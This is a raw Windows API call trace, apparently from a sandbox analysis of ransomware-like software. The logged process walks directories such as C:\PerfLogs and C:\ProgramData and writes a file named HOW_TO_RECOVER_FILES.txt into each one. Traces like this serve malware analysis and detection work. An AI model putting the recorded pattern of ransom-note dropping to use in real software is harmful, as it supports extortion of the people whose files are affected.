[0069.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0069.864] GetFullPathNameW (in: lpFileName="C:\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x20 [0069.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0069.864] CreateFileW (lpFileName="C:\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.865] GetFileType (hFile=0x764) returned 0x1 [0069.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0069.865] GetFileType (hFile=0x764) returned 0x1 [0069.866] WriteFile (in: hFile=0x764, lpBuffer=0x311f690*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x311f690*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0069.867] CloseHandle (hObject=0x764) returned 1 [0070.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0070.071] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0070.071] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.072] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.072] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.072] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0070.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0070.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0070.072] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0070.072] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.072] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.073] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.073] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0070.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0070.073] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x24 [0070.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0070.073] CreateFileW (lpFileName="C:\\PerfLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\perflogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.073] GetFileType (hFile=0x764) returned 0x1 [0070.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0070.073] GetFileType (hFile=0x764) returned 0x1 [0070.074] WriteFile (in: hFile=0x764, lpBuffer=0x320a690*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x320a690*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0070.075] CloseHandle (hObject=0x764) returned 1 [0070.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0070.075] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0070.075] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.075] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0070.076] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0070.076] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0070.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0070.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0070.077] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0070.077] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0070.077] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: 